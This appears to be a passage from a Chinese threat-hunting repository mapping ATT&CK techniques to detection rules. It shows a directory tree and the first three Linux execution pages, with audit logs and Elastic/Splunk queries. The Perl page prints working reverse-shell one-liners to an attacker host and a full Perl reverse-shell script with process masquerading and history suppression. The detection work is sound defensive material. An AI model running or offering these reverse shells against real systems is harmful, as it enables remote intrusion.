Showing preview only (2,796K chars total). Download the full file or copy to clipboard to get everything.
Repository: 12306Bro/Threathunting-book
Branch: master
Commit: 20e59463d49d
Files: 346
Total size: 1.8 MB
Directory structure:
gitextract_6482vae1/
├── Linux/
│ ├── 04执行/
│ │ ├── T1059-004-linux-脚本.md
│ │ ├── T1059-006-linux-通过Python生成的交互shell.md
│ │ ├── T1059-linux-通过Perl生成的交互式shell.md
│ │ └── T1154-linux-trap.md
│ ├── 05权限维持/
│ │ ├── T1098-004-linux-账户操纵-SSH Authorized Keys.md
│ │ ├── T1136-001-linux-创建账户.md
│ │ ├── T1546-004-linux-.bash_profile and .bashrc.md
│ │ └── T1548-001-linux-Setuid and Setgid.md
│ ├── 06权限提升/
│ │ ├── T1548-003-linux-CVE-2019-14287.md
│ │ └── T1548-003-linux-Sudo.md
│ ├── 07逃避防御/
│ │ ├── T1027-005-linux-主机上的监测组件删除.md
│ │ ├── T1070-002-清除Linux或Mac系统日志.md
│ │ ├── T1070-003-linux-清除历史记录.md
│ │ ├── T1070-004-linux-文件删除.md
│ │ ├── T1070-006-Linux-Timestamp.md
│ │ ├── T1222-002-linux-文件权限修改.md
│ │ ├── T1562-003-linux-Histcontrol.md
│ │ └── T1564-001-linux-隐藏文件和目录.md
│ ├── 08凭证访问/
│ │ ├── T1110-003-Linux-SSH暴力破解.md
│ │ ├── T1552-001-linux-文件中的凭据.md
│ │ ├── T1552-003-linux-Bash历史.md
│ │ └── T1552-004-linux-私钥.md
│ └── 09发现/
│ ├── T1040-linux-网络嗅探.md
│ ├── T1046-linux-使用nping扫描探测.md
│ ├── T1082-linux-Hping存活主机发现.md
│ ├── T1087-001-linux-本地账户发现.md
│ └── T1557-002-linux-ARP网络嗅探.md
├── README.md
├── Web/
│ ├── 2020/
│ │ ├── T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md
│ │ ├── T1190-CVE-2020-0688-Exchange漏洞利用检测.md
│ │ ├── T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md
│ │ ├── T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md
│ │ ├── T1190-CVE-2020-16875-Exchange漏洞利用监测.md
│ │ ├── T1190-CVE-2020-17144-Exchange漏洞利用检测.md
│ │ ├── T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md
│ │ ├── T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md
│ │ ├── T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md
│ │ ├── T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md
│ │ ├── T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md
│ │ ├── T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md
│ │ └── T1190-CVE-2020-8193-CVE-2020-8195.md
│ ├── 2021/
│ │ ├── T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md
│ │ ├── T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md
│ │ ├── T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md
│ │ ├── T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md
│ │ ├── T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md
│ │ ├── T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md
│ │ ├── T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md
│ │ ├── T1190-Exchange-ProxyLogon利用行为检测.md
│ │ └── T1190-Exchange-ProxyShell利用行为检测.md
│ ├── 2022/
│ │ ├── T1190-CNVD-2022-03672-向日葵RCE漏洞.md
│ │ ├── T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md
│ │ ├── T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md
│ │ ├── T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md
│ │ ├── T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md
│ │ ├── T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md
│ │ ├── T1190-CVE-2022-40127 Apache Airflow代码注入.md
│ │ └── T1190-CVE-2022-42889 Apache Commons Text RCE.md
│ ├── 2023/
│ │ ├── CVE-2023-23752/
│ │ │ ├── CVE-2023-23752.pcap
│ │ │ └── T1190-CVE-2023-23752.md
│ │ ├── CVE-2023-25157/
│ │ │ ├── CVE-2023-25157.pcapng
│ │ │ └── T1190-CVE-2023-25157.md
│ │ ├── CVE-2023-28432/
│ │ │ ├── CVE-2023-28432.pcap
│ │ │ └── T1190-CVE-2023-28432.md
│ │ ├── CVE-2023-32315/
│ │ │ ├── CVE-2023-32315.pcapng
│ │ │ └── T1190-CVE-2023-32315-Openfire管理后台认证绕过.md
│ │ ├── CVE-2023-34843/
│ │ │ └── T1190-CVE-2023-34843.md
│ │ ├── CVE-2023-35843/
│ │ │ └── T1190-CVE-2023-35843.md
│ │ └── other/
│ │ ├── NginxWebUI run Cmd远程命令执行.md
│ │ ├── Sapido路由器远程命令执行.md
│ │ ├── Smartbi商业智能软件绕过登录.md
│ │ ├── 泛微e-cology前台任意用户登录.md
│ │ ├── 瑞友天翼应用虚拟化系统存在远程代码执行.md
│ │ ├── 用友NC Cloud存在前台远程命令执行.md
│ │ ├── 蓝凌oa远程代码执行.md
│ │ └── 金蝶K3Cloud反序列化.md
│ └── long time/
│ ├── T1133-001-深信服VPN任意密码重置.md
│ ├── T1190- Apache Log4j2漏洞利用检测.md
│ ├── T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md
│ ├── T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md
│ ├── T1190-CVE-2010-1870-S2-005远程代码执行.md
│ ├── T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md
│ ├── T1190-CVE-2018-2894-Weblogic任意文件上传检测.md
│ ├── T1190-CVE-2019-19781-远程代码执行检测.md
│ ├── T1190-CVE-2019-3398-Confluence路径穿越漏洞.md
│ ├── T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md
│ ├── T1190-Influxdb<1.7.6未授权访问漏洞.md
│ ├── T1190-IvBulletin5.X-RCE检测.md
│ ├── T1190-JumpServer v2.6.1 RCE攻击检测.md
│ ├── T1190-Thinkphp 5.x远程命令执行检测.md
│ ├── T1190-泛微OA任意文件读取.md
│ ├── T1190-通达V11.6-RCE.md
│ ├── T1505-003-webshell-冰蝎v2.0.md
│ └── T1505-003-webshell-冰蝎v3.0.md
├── Windows/
│ ├── 00其他/
│ │ └── T*-win-使用User_Del删除用户.md
│ ├── 01侦察/
│ │ ├── T1589.001-收集目标组织身份信息-凭证.md
│ │ ├── T1589.002-收集目标组织身份信息-邮件地址.md
│ │ ├── T1589.003-收集目标组织身份信息-员工姓名.md
│ │ ├── T1590-win-DNS记录获取.md
│ │ ├── T1590.001-收集目标组织网络信息-域属性.md
│ │ ├── T1590.002-收集目标组织网络信息-DNS.md
│ │ ├── T1590.003-收集目标组织网络信息-网络信任关系.md
│ │ ├── T1590.004-收集目标组织网络信息-网络拓扑.md
│ │ ├── T1590.005-收集目标组织网络信息-IP地址.md
│ │ ├── T1590.006-收集目标组织网络信息-网络安全设备.md
│ │ ├── T1591.001-收集目标组织信息-确定物理位置.md
│ │ ├── T1591.002-收集目标组织信息-业务关系.md
│ │ ├── T1591.003-收集目标组织信息-确定业务节奏.md
│ │ ├── T1591.004-收集目标组织信息-确定角色.md
│ │ ├── T1592.001-收集目标组织主机信息-硬件信息.md
│ │ ├── T1592.002-收集目标组织主机信息-软件信息.md
│ │ ├── T1592.003-收集目标组织主机信息-固件信息.md
│ │ ├── T1592.004-收集目标组织主机信息-客户端配置.md
│ │ ├── T1593.001-搜索开放的域和网站-社交媒体.md
│ │ ├── T1593.002-搜索开放的域和网站-搜索引擎.md
│ │ ├── T1594-搜索目标组织所拥有的网站.md
│ │ ├── T1595.001-主动扫描-扫描地址段.md
│ │ ├── T1595.002-主动扫描-漏洞扫描.md
│ │ ├── T1596.001-搜索开放的技术数据库-DNS_被动DNS.md
│ │ ├── T1596.002-搜索开放的技术数据库-WHOIS.md
│ │ ├── T1596.003-搜索开放的技术数据库-数字签名.md
│ │ ├── T1596.004-搜索开放的技术数据库-CDN.md
│ │ └── T1596.005-搜索开放的技术数据库-公开的扫描数据库.md
│ ├── 02资源开发/
│ │ ├── T1583.001-获取基础设施-域名.md
│ │ ├── T1583.002-获取基础设施-DNS服务.md
│ │ ├── T1583.003-获取基础设施-虚拟专用服务器.md
│ │ ├── T1583.004-获取基础设施-服务器.md
│ │ ├── T1583.005-获取基础设施-僵尸网络.md
│ │ ├── T1583.006-获取基础设施-web服务.md
│ │ ├── T1584.001-入侵基础设施-域名.md
│ │ ├── T1584.002-入侵基础设施-DNS服务.md
│ │ ├── T1584.003-入侵基础设施-虚拟专用服务器.md
│ │ ├── T1584.004-入侵基础设施-服务器.md
│ │ ├── T1584.005-入侵基础设施-僵尸网络.md
│ │ ├── T1584.006-入侵基础设施-web服务.md
│ │ ├── T1585.001-创建账户-社交媒体账户.md
│ │ ├── T1585.002-创建账户-电子邮箱账户.md
│ │ ├── T1586.001-盗取账户-社交媒体账户.md
│ │ ├── T1586.002-盗取账户-电子邮箱账户.md
│ │ ├── T1587.001-开发能力-恶意软件.md
│ │ ├── T1587.002-开发能力-代码签名证书.md
│ │ ├── T1587.003-开发能力-数字证书.md
│ │ ├── T1587.004-开发能力-漏洞利用.md
│ │ ├── T1588.001-获取能力-恶意软件.md
│ │ ├── T1588.002-获取能力-工具.md
│ │ ├── T1588.003-获取能力-代码签名证书.md
│ │ ├── T1588.004-获取能力-数字证书.md
│ │ ├── T1588.005-获取能力-漏洞利用.md
│ │ ├── T1588.006-获取能力-漏洞.md
│ │ ├── T1608.001-部署能力-部署恶意软件.md
│ │ ├── T1608.002-部署能力-部署工具.md
│ │ ├── T1608.003-部署能力-安装数字证书.md
│ │ ├── T1608.004-部署能力-部署路过式攻击资源.md
│ │ └── T1608.005-部署能力-部署链接目标资源.md
│ ├── 03初始访问/
│ │ ├── T1078.003-Win-多账户同时登陆.md
│ │ ├── T1078.003-Win-来自公网的登陆失败行为.md
│ │ ├── T1078.003-Win-账户登录失败.md
│ │ ├── T1133-外部远程服务.md
│ │ ├── T1190-SQL server滥用.md
│ │ ├── T1190-可疑的SQL错误消息.md
│ │ ├── T1190-邮箱暴力破解攻击流量分析.md
│ │ └── T1566.001-Win-可疑的MS Office子进程.md
│ ├── 04执行/
│ │ ├── T1047-win-使用Wmic执行payload(白名单).md
│ │ ├── T1047-win-通过WMIC创建远程进程.md
│ │ ├── T1053.002-Win-交互式at计划任务.md
│ │ ├── T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行.md
│ │ ├── T1053.005-Win-schtasks本地计划任务.md
│ │ ├── T1059-win-使用Certutil.exe执行Payload(白名单).md
│ │ ├── T1059-win-使用Ftp.exe执行Payload(白名单).md
│ │ ├── T1059-win-使用wusa卸载系统更新.md
│ │ ├── T1059-win-进程生成CMD.md
│ │ ├── T1059.001-Win-使用Powershell.exe执行Payload(白名单).md
│ │ ├── T1059.001-Win-检测PowerShell2.0版本执行.md
│ │ ├── T1059.001-Win-检测PowerShell下载文件.md
│ │ ├── T1559.001-Win-利用进程间通信执行-组件对象模型-COM.md
│ │ ├── T1559.002-Win-利用进程间通讯执行-动态数据交换-OLE.md
│ │ └── T1559.002-win-利用进程间通信执行-动态数据交换-DDE.md
│ ├── 05持久化/
│ │ ├── T1078.001-Win-DSRM重置密码.md
│ │ ├── T1098-Win-AdminSDHolder.md
│ │ ├── T1098-Win-万能密码.md
│ │ ├── T1098-Win-账户操作.md
│ │ ├── T1136.001-Win-创建本地账户.md
│ │ ├── T1137.002-Win-office应用启动程序-office test.md
│ │ ├── T1137.004-Win-office应用启动程序-outlook主页.md
│ │ ├── T1176-浏览器扩展.md
│ │ ├── T1197-Win-BITS Jobs权限维持.md
│ │ ├── T1505.003-Regeorg-HTTP隧道检测.md
│ │ ├── T1505.003-web服务关联可疑进程识别webshell行为.md
│ │ ├── T1543.003-Win-windows服务Dnscmd.exe(白名单).md
│ │ ├── T1546.001-Win-事件触发执行-更改默认文件关联.md
│ │ ├── T1546.002-Win-事件触发执行-屏幕保护程序.md
│ │ ├── T1546.007-Win-通过netsh key持久化.md
│ │ ├── T1546.012-Win-事件触发执行-图片文件执行选项注入.md
│ │ ├── T1546.015-Win-组件对象模型劫持-Dllhost.exe(白名单).md
│ │ ├── T1547.005-Win-SSP权限维持.md
│ │ └── T1548.002-Win-绕过用户账户控制-Eventvwr.exe(白名单).md
│ ├── 06权限提升/
│ │ ├── T1037.001-Win-Boot或logon初始化脚本-登录脚本.md
│ │ ├── T1068-win-权限提升-带有Headless参数的Windows ConHost.md
│ │ ├── T1078.003-Win-帐户篡改-可疑的失败登录原因.md
│ │ ├── T1134.001-Win-CVE-2020-1472.md
│ │ ├── T1134.001-Win-访问令牌操作-Runas命令.md
│ │ ├── T1134.005-Win-SID历史记录注入.md
│ │ ├── T1548.002-Win-使用Nircmd.exe进行权限提升.md
│ │ └── T1574.001-Win-劫持执行流程-DLL搜索顺序劫持.md
│ ├── 07逃避防御/
│ │ ├── T1006-win-直接访问卷.md
│ │ ├── T1014-win-Rootkit.md
│ │ ├── T1027-win-使用pubprn.vbs下载文件(白名单) .md
│ │ ├── T1027.003-Win-Ping Hex IP.md
│ │ ├── T1027.004-Win-传输后编译csc.exe(白名单).md
│ │ ├── T1027.004-Win-使用Csc.exe执行payload(白名单).md
│ │ ├── T1027.005-Win-SDelete删除文件.md
│ │ ├── T1036-win-隐藏用户账户带$符号.md
│ │ ├── T1036.003-Win-重命名程序名称.md
│ │ ├── T1036.004-Win-伪装服务或任务.md
│ │ ├── T1070-001-win-使用wevtutil命令删除日志.md
│ │ ├── T1070-001-win-清除事件日志.md
│ │ ├── T1070-004-win-使用Fsutil删除卷USN日志.md
│ │ ├── T1070-004-win-文件删除.md
│ │ ├── T1070-004-win-通过Rmdir删除Windows文件.md
│ │ ├── T1070-005-win-删除网络共享连接.md
│ │ ├── T1070.001-Win-检测cipher.exe删除数据.md
│ │ ├── T1127-Win-使用Msbuild.exe执行payload(白名单).md
│ │ ├── T1127-win-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单).md
│ │ ├── T1127-win-受信任的开发者实用程序代理执行-Jsc.exe(白名单).md
│ │ ├── T1140-win-去混淆解码文件或信息.md
│ │ ├── T1202-win-间接命令执行-基于Explorer.exe执行payload(白名单).md
│ │ ├── T1202-win-间接命令执行-基于Forfiles执行payload(白名单).md
│ │ ├── T1202-win-间接命令执行-基于Pcalua执行payload(白名单).md
│ │ ├── T1216-win-签名脚本代理执行.md
│ │ ├── T1216.001-Win-签名脚本代理执行-PubPrn.md
│ │ ├── T1218-Win-使用Atbroker.exe执行payload(白名单).md
│ │ ├── T1218.001-Win-使用Compiler.exe执行payload(白名单).md
│ │ ├── T1218.001-Win-签名的二进制代理执行-编译HTML文件.md
│ │ ├── T1218.002-Win-使用Control.exe执行payload(白名单).md
│ │ ├── T1218.003-Win-使用Cmstp.exe执行Payload(白名单).md
│ │ ├── T1218.004-Win-使用Installutil.exe执行payload(白名单).md
│ │ ├── T1218.005-Win-使用Mshta.exe执行payload(白名单).md
│ │ ├── T1218.007-Win-使用Msiexec.exe执行Payload(白名单).md
│ │ ├── T1218.008-Win-使用Odbcconf.exe执行Payload(白名单).md
│ │ ├── T1218.009-Win-使用Regasm.exe执行payload(白名单).md
│ │ ├── T1218.011-Win-使用Rundll32.exe执行payload(白名单).md
│ │ ├── T1218.011-Win-使用Zipfldr.dll执行Payload(白名单).md
│ │ ├── T1218.011-Win-通过Rundll32的异常网络链接.md
│ │ ├── T1220-win-XSL Script Processing.md
│ │ ├── T1221-win-模板注入.md
│ │ ├── T1222.001-Win-文件权限修改.md
│ │ ├── T1548.002-Win-使用Dism删除Defender.md
│ │ ├── T1550.003-Win-黄金票据.md
│ │ ├── T1562-win-使用Bcdedit禁用DEP安全机制.md
│ │ ├── T1562.001-Win-使用Net stop关闭Windefend.md
│ │ ├── T1562.001-Win-使用Netsh关闭windows防火墙.md
│ │ ├── T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe(白名单).md
│ │ ├── T1562.001-Win-绕过Sysmon.md
│ │ ├── T1562.006-Win-停止日志采集.md
│ │ ├── T1564.001-Win-发现攻击者在回收站中隐藏恶意软件.md
│ │ ├── T1564.001-Win-隐藏的文件和目录.md
│ │ └── T1564.003-Win-隐藏窗口.md
│ ├── 08凭证访问/
│ │ ├── T1003-004-win-LSA-mimikatz凭证转储.md
│ │ ├── T1003-win-Procdump凭证转储.md
│ │ ├── T1003-win-vaultcmd获取系统凭证基本信息.md
│ │ ├── T1003-win-使用Windows任务管理器转储Lsass.exe内存.md
│ │ ├── T1003-win-使用comsvcs.dll转储Lsass.exe内存.md
│ │ ├── T1003.002-Win-基于Sam-reg凭证转储.md
│ │ ├── T1003.003-Win-ToDesk_向日葵密码读取.md
│ │ ├── T1003.003-Win-vssown.vbs获取NTDS.dit.md
│ │ ├── T1003.003-Win-使用Ntdsutil获得NTDS.dit文件.md
│ │ ├── T1003.003-Win-基于NTDS进行凭证获取1.md
│ │ ├── T1003.003-Win-基于NTDS进行凭证获取2.md
│ │ ├── T1003.003-Win-基于应用日志检测Ntdsutil获取凭证.md
│ │ ├── T1003.005-Win-DCC2-mimikatz凭证转储.md
│ │ ├── T1003.006-Win-Dcsysnc-凭证转储.md
│ │ ├── T1098-win-万能密码.md
│ │ ├── T1098-win-账户操作.md
│ │ ├── T1110-暴力破解.md
│ │ ├── T1110.003-Win-密码喷射.md
│ │ ├── T1212-win-ms14-068-KEKEO.md
│ │ ├── T1212-win-ms14-068-PYKEK.md
│ │ ├── T1552.001-Win-文件中的凭证.md
│ │ ├── T1552.002-Win-注册表中的凭证.md
│ │ ├── T1552.006-Win-GPP-凭证转储.md
│ │ ├── T1555.003-Win-来自web浏览器的凭证.md
│ │ ├── T1555.005-Win-cmdkey获取凭据(白名单).md
│ │ ├── T1555.005-Win-命令行获取Finalshell软件保存的公钥.md
│ │ ├── T1555.005-Win-常见凭据存放位置.md
│ │ ├── T1558.003-Win-SPN-凭证转储.md
│ │ └── T1558.003-Win-kerberosing.md
│ ├── 09发现/
│ │ ├── T1007-win-系统服务发现.md
│ │ ├── T1010-win-应用程序窗口发现.md
│ │ ├── T1012-win-查询注册表.md
│ │ ├── T1016-win-系统网络配置发现.md
│ │ ├── T1018-win-远程系统发现.md
│ │ ├── T1033-win-系统所有者及用户发现.md
│ │ ├── T1040-win-使用netsh进行网络嗅探.md
│ │ ├── T1049-win-bloodhound使用.md
│ │ ├── T1049-win-系统网络连接发现.md
│ │ ├── T1057-win-进程发现.md
│ │ ├── T1069.001-Win-本地特权组用户枚举.md
│ │ ├── T1082-win-系统信息发现.md
│ │ ├── T1083-win-文件和目录发现.md
│ │ ├── T1120-win-周边设备发现.md
│ │ ├── T1124-win-系统时间发现.md
│ │ ├── T1135-win-网络共享发现.md
│ │ ├── T1201-win-密码策略发现.md
│ │ ├── T1482-win-活动目录信息获取检测.md
│ │ ├── T1518-win-发现安全软件.md
│ │ └── T1614.002-Win-地理位置发现.md
│ ├── 10横向移动/
│ │ ├── T1021.001-Win-使用Start_Rdp开启远程桌面服务.md
│ │ ├── T1021.002-Win-基于PsExec执行payload(白名单).md
│ │ ├── T1021.002-Win-管理员共享.md
│ │ ├── T1021.006-Win-远程powershell会话.md
│ │ ├── T1210-win-异常的SMB链接行为.md
│ │ ├── T1210-win-检测到匿名计算机账户更改的使用.md
│ │ ├── T1550.002-Win-哈希传递.md
│ │ └── T1563.002-Win-远程服务会话劫持-RDP劫持.md
│ ├── 11收集/
│ │ ├── T1056.001-Win-键盘记录.md
│ │ ├── T1114.001-Win-本地电子邮件收集.md
│ │ ├── T1119-win-Seatbelt自动收集信息.md
│ │ ├── T1123-win-使用AudioDeviceCmdlets进行音频收集.md
│ │ ├── T1123-win-使用soundrec进行音频收集.md
│ │ └── T1560.001-Win-通过Winrar压缩收集数据.md
│ ├── 12命令与控制/
│ │ ├── T1008-备用通信通道.md
│ │ ├── T1071.001-应用层协议-网络协议.md
│ │ ├── T1071.002-win-内网FTP链接到公网行为.md
│ │ ├── T1071.004-win-内网主机向公网DNS发起可疑请求行为.md
│ │ ├── T1090.001-Win-链接代理.md
│ │ ├── T1092-通过可移动媒介传播.md
│ │ ├── T1095-非应用层协议.md
│ │ ├── T1105-Windows Update可滥用于执行恶意程序行为检测.md
│ │ ├── T1105-win-入口工具转移-AppInstaller.exe(白名单、失效).md
│ │ ├── T1105-win-入口工具转移-CertReq.exe(白名单).md
│ │ ├── T1105-win-入口工具转移-Finger.exe(白名单).md
│ │ ├── T1105-win-入口工具转移-IMEWDBLD.exe(白名单).md
│ │ ├── T1105-win-入口工具转移-desktopimgdownldr.exe(白名单).md
│ │ ├── T1105-win-入口工具转移-ieexec.exe (白名单).md
│ │ ├── T1105-win-利用cmdl32进行文件下载行为(白名单).md
│ │ ├── T1105-win-命令提示符网络链接.md
│ │ ├── T1568.002-动态解析-域名生成算法(DGA).md
│ │ ├── T1571-非标准端口.md
│ │ └── T1573-标准加密协议.md
│ ├── 13数据外泄/
│ │ ├── T1020-Win-自动渗出.md
│ │ └── T1567-win-通过Web服务进行渗透-DataSvcUtil.exe(白名单).md
│ └── 14影响/
│ ├── T1489-win-停止服务.md
│ ├── T1490-win-禁止系统恢复.md
│ ├── T1529-win-系统关机或重启.md
│ └── T1531-win-账户访问权限删除.md
└── link.md
================================================
FILE CONTENTS
================================================
================================================
FILE: Linux/04执行/T1059-004-linux-脚本.md
================================================
# T1059-004-Linux-脚本
## 来自ATT&CK的描述
攻击者可能会滥用Unix shell命令和脚本来执行。Unix shell是Linux和macOS系统上的主要命令提示符,尽管Unix shell存在许多变体(例如sh,bash,zsh等),具体取决于特定的OS或发行版。Unix shell可以使用某些要求提升特权的命令来控制系统的各个方面。
Unix shell还支持脚本,这些脚本支持顺序执行命令以及其他典型的编程操作,例如条件和循环。Shell脚本的常见用法包括冗长或重复的任务,或者需要在多个系统上运行同一组命令。
攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间(例如使用SSH)访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令,或者作为用于持久性的有效载荷的一部分。
## 测试案例
如何在linux下进行模拟和测试?我们可以创建一个简单bash脚本,并执行它。观察它在日志中留下的痕迹。
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
## 测试复现
icbc@icbc:/hacker$ bash 1.bash
## 测试留痕
icbc@icbc:/$ cat /var/log/audit/audit.log
type=SYSCALL msg=audit(1565352677.388:1524): arch=c000003e syscall=59 success=yes exit=0 a0=564608ddc330 a1=564608dbd8c0 a2=564608de3970 a3=8 items=2 ppid=2095 pid=2807 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4 comm="bash" exe="/usr/bin/bash" key="auditcmd"
type=EXECVE msg=audit(1565352677.388:1524): argc=2 a0="bash" a1="1.bash"
type=CWD msg=audit(1565352677.388:1524): cwd="/hacker"
type=PATH msg=audit(1565352677.388:1524): item=0 name="/usr/bin/bash" inode=2228277 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
## 检测规则/思路
### splunk规则
index = linux sourcetype = linux_audit syscall = 59 | table host,syscall,syscall_name,exe,auid
### 建议
值得注意的是:我们只是把环境中的脚本执行行为记录下来,如果没有设置白名单,那么我们需要消耗大量的精力用于处理误报。
## 参考推荐
MITRE-ATT&CK-T1059-004
<https://attack.mitre.org/techniques/T1059/004/>
Audit配置手册
<https://www.cnblogs.com/bldly1989/p/7204358.html>
================================================
FILE: Linux/04执行/T1059-006-linux-通过Python生成的交互shell.md
================================================
# T1059-006-Linux-通过Python生成的交互shell
## 来自ATT&CK的描述
攻击者可能会滥用Python命令和脚本来执行。Python是一种非常流行的脚本编程语言,具有执行许多功能的能力。Python可以从命令行交互地执行(通过python.exe解释器)或通过可以编写和分发到不同系统的脚本(.py)。Python代码也可以编译成二进制可执行文件。
Python自带了很多内置的包来和底层系统交互,比如文件操作和设备I/O。攻击者可以使用这些库来下载和执行命令或其他脚本以及执行各种恶意行为。
## 测试案例
python交互式shell常见命令:
```
bash
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/dash")'
```
## 检测日志
未知
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
### elastic
```
yml
query = '''
event.category:process and event.type:(start or process_started) and
process.name:python* and
process.args:("import pty; pty.spawn(\"/bin/sh\")" or
"import pty; pty.spawn(\"/bin/dash\")" or
"import pty; pty.spawn(\"/bin/bash\")")
'''
```
### 建议
对数据源要求较高,需要正确配置相关策略记录相关命令参数,才能够使用该规则。
## 参考推荐
MITRE-ATT&CK-T1059-006
<https://attack.mitre.org/techniques/T1059/006/>
Interactive Terminal Spawned via Python
<https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_python_tty_shell.toml>
实现交互式shell的几种方式
<https://saucer-man.com/information_security/233.html>
================================================
FILE: Linux/04执行/T1059-linux-通过Perl生成的交互式shell.md
================================================
# T1059-Linux-通过Perl生成的交互式shell
## 来自ATT&CK的描述
攻击者可能滥用命令和脚本解释器来执行命令、脚本或二进制文件。这些接口和语言提供了与计算机系统交互的方式,并且是许多不同平台的共同特征。大多数系统都带有一些内置的命令行界面和脚本功能,例如:macOS和Linux发行版包括一些Unix Shell,而Windows安装包括Windows Command Shell和PowerShell。
还有跨平台解释器,例如Python ,以及通常与客户端应用程序相关的解释器,例如JavaScript和Visual Basic。
攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间(例如使用SSH)访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令,或者作为用于持久性的有效载荷的一部分。
## 测试案例
通过Perl生成终端(tty)。攻击者可以将简单的反向shell升级为完全获得对主机的初始访问权限后的交互式tty。
```
bash
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多
```
依赖于/bin/sh的shell:这条语句比上面的更为简短,而且确实不需要依赖/bin/sh
```
bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
完整版的perl反弹shell脚本
```
perl
# !/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 1234;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
```
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
### elastic
```
yml
query = '''
event.category:process and event.type:(start or process_started) and process.name:perl and
process.args:("exec \"/bin/sh\";" or "exec \"/bin/dash\";" or "exec \"/bin/bash\";")
'''
```
### 建议
对数据源要求较高,需要正确配置相关策略记录相关命令参数,才能够使用该规则。
## 参考推荐
MITRE-ATT&CK-T1059
<https://attack.mitre.org/techniques/T1059>
Linux下反弹shell的种种方式
<https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html>
Interactive Terminal Spawned via Perl
